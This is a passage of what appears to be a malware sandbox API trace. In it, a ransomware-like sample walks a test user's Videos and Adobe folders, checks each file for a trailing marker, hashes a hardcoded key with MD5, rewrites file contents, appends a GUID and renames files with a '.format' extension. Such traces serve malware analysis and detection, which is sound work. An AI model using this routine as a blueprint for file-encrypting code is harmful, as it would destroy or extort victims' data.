ftLastWriteTime.dwHighDateTime=0x1d4cea7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.132] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123a33a0, ftCreationTime.dwHighDateTime=0x1d4d593, ftLastAccessTime.dwLowDateTime=0xfb212260, ftLastAccessTime.dwHighDateTime=0x1d4cea7, ftLastWriteTime.dwLowDateTime=0xfb212260, ftLastWriteTime.dwHighDateTime=0x1d4cea7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.133] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2af495d0, ftCreationTime.dwHighDateTime=0x1d4cb88, ftLastAccessTime.dwLowDateTime=0xad979ae0, ftLastAccessTime.dwHighDateTime=0x1d4d4da, ftLastWriteTime.dwLowDateTime=0xad979ae0, ftLastWriteTime.dwHighDateTime=0x1d4d4da, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1lVVKbf-aOgvA-CAW_mM", cAlternateFileName="1LVVKB~1")) returned 1 [0069.133] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dd8cac0, ftCreationTime.dwHighDateTime=0x1d4c9f9, ftLastAccessTime.dwLowDateTime=0x32130130, ftLastAccessTime.dwHighDateTime=0x1d4ce0d, ftLastWriteTime.dwLowDateTime=0x32130130, ftLastWriteTime.dwHighDateTime=0x1d4ce0d, nFileSizeHigh=0x0, nFileSizeLow=0x77e5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3H2e QdbjRnRRz5agWcn.mp4", cAlternateFileName="3H2EQD~1.MP4")) returned 1 [0069.133] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\3H2e QdbjRnRRz5agWcn.mp4") returned=".mp4" [0069.133] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\3H2e QdbjRnRRz5agWcn.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\od8tz2pmykkyrq-rjt2t\\3h2e qdbjrnrrz5agwcn.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.133] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=30693) returned 1 [0069.133] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.135] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x77bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.135] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.136] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x77e5, lpOverlapped=0x0) returned 1 [0069.136] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.136] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.136] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.136] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0069.137] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.137] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.137] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.137] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.137] GetLastError () returned 0x0 [0069.137] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.137] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0069.138] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x77e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.138] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.138] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.138] CloseHandle (hObject=0x5c8) returned 1 [0069.139] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\3H2e QdbjRnRRz5agWcn.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\od8tz2pmykkyrq-rjt2t\\3h2e qdbjrnrrz5agwcn.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\3H2e QdbjRnRRz5agWcn.mp4.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\od8tz2pmykkyrq-rjt2t\\3h2e qdbjrnrrz5agwcn.mp4.format")) returned 1 [0069.140] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b93250, ftCreationTime.dwHighDateTime=0x1d4c56f, ftLastAccessTime.dwLowDateTime=0x1ac710a0, ftLastAccessTime.dwHighDateTime=0x1d4cb76, ftLastWriteTime.dwLowDateTime=0x1ac710a0, ftLastWriteTime.dwHighDateTime=0x1d4cb76, nFileSizeHigh=0x0, nFileSizeLow=0x717b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9uSUEFdDE_x6kIyiIV5t.avi", cAlternateFileName="9USUEF~1.AVI")) returned 1 [0069.140] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\9uSUEFdDE_x6kIyiIV5t.avi") returned=".avi" [0069.140] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\9uSUEFdDE_x6kIyiIV5t.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\od8tz2pmykkyrq-rjt2t\\9usuefdde_x6kiyiiv5t.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.140] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=29051) returned 1 [0069.140] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.143] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x7155, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.143] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.144] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x717b, lpOverlapped=0x0) returned 1 [0069.144] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.144] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.144] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.144] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0069.145] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.145] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.145] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.145] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.145] GetLastError () returned 0x0 [0069.145] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.145] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0069.145] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x717b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.145] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.145] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.145] CloseHandle (hObject=0x5c8) returned 1 [0069.148] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\9uSUEFdDE_x6kIyiIV5t.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\od8tz2pmykkyrq-rjt2t\\9usuefdde_x6kiyiiv5t.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\9uSUEFdDE_x6kIyiIV5t.avi.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\od8tz2pmykkyrq-rjt2t\\9usuefdde_x6kiyiiv5t.avi.format")) returned 1 [0069.149] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dc1d0b0, ftCreationTime.dwHighDateTime=0x1d4d357, ftLastAccessTime.dwLowDateTime=0x75c980b0, ftLastAccessTime.dwHighDateTime=0x1d4d363, ftLastWriteTime.dwLowDateTime=0x75c980b0, ftLastWriteTime.dwHighDateTime=0x1d4d363, nFileSizeHigh=0x0, nFileSizeLow=0x7b82, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FQ-FG1l4EdSgSR3.mp4", cAlternateFileName="FQ-FG1~1.MP4")) returned 1 [0069.149] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\FQ-FG1l4EdSgSR3.mp4") returned=".mp4" [0069.149] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\FQ-FG1l4EdSgSR3.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\od8tz2pmykkyrq-rjt2t\\fq-fg1l4edsgsr3.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.149] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=31618) returned 1 [0069.149] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.152] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x7b5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.152] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.153] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x7b82, lpOverlapped=0x0) returned 1 [0069.153] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.153] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.153] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.153] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0069.154] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.154] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.154] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.154] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.154] GetLastError () returned 0x0 [0069.154] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.154] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0069.154] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x7b82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.154] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.154] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.154] CloseHandle (hObject=0x5c8) returned 1 [0069.155] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\FQ-FG1l4EdSgSR3.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\od8tz2pmykkyrq-rjt2t\\fq-fg1l4edsgsr3.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\FQ-FG1l4EdSgSR3.mp4.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\od8tz2pmykkyrq-rjt2t\\fq-fg1l4edsgsr3.mp4.format")) returned 1 [0069.156] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dc1d0b0, ftCreationTime.dwHighDateTime=0x1d4d357, ftLastAccessTime.dwLowDateTime=0x75c980b0, ftLastAccessTime.dwHighDateTime=0x1d4d363, ftLastWriteTime.dwLowDateTime=0x75c980b0, ftLastWriteTime.dwHighDateTime=0x1d4d363, nFileSizeHigh=0x0, nFileSizeLow=0x7b82, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FQ-FG1l4EdSgSR3.mp4", cAlternateFileName="FQ-FG1~1.MP4")) returned 0 [0069.156] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.156] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.157] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.157] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.157] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.157] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0069.157] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0069.157] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.157] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0069.157] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0069.157] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31757d8 [0069.157] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0069.157] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0069.157] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.157] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31757d8 | out: hHeap=0x5d0000) returned 1 [0069.157] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0069.157] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0069.157] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.157] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0069.157] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0069.157] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0069.157] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.157] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0069.157] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0069.157] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0069.157] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0069.157] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.157] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0069.157] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.157] PathFindFileNameW (pszPath="") returned="" [0069.157] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.158] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.159] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.159] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.159] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b6a040, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9b6a040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xde963ca0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0xa5ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rdrmessage.zip", cAlternateFileName="RDRMES~1.ZIP")) returned 1 [0069.159] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.159] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd6) returned 0x31021f8 [0069.159] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.159] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned=".zip" [0069.159] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.160] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=42495) returned 1 [0069.160] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.163] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xa5d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.163] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.164] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0069.164] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0069.164] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.164] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xa5ff, lpOverlapped=0x0) returned 1 [0069.165] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.165] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.165] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.165] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.165] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.165] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.165] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.166] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.166] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.166] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.166] GetLastError () returned 0x0 [0069.166] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.166] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.166] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.166] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa600) returned 0x32b2f40 [0069.166] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.166] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.166] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xa5fa, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xa5fa, lpOverlapped=0x0) returned 1 [0069.166] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 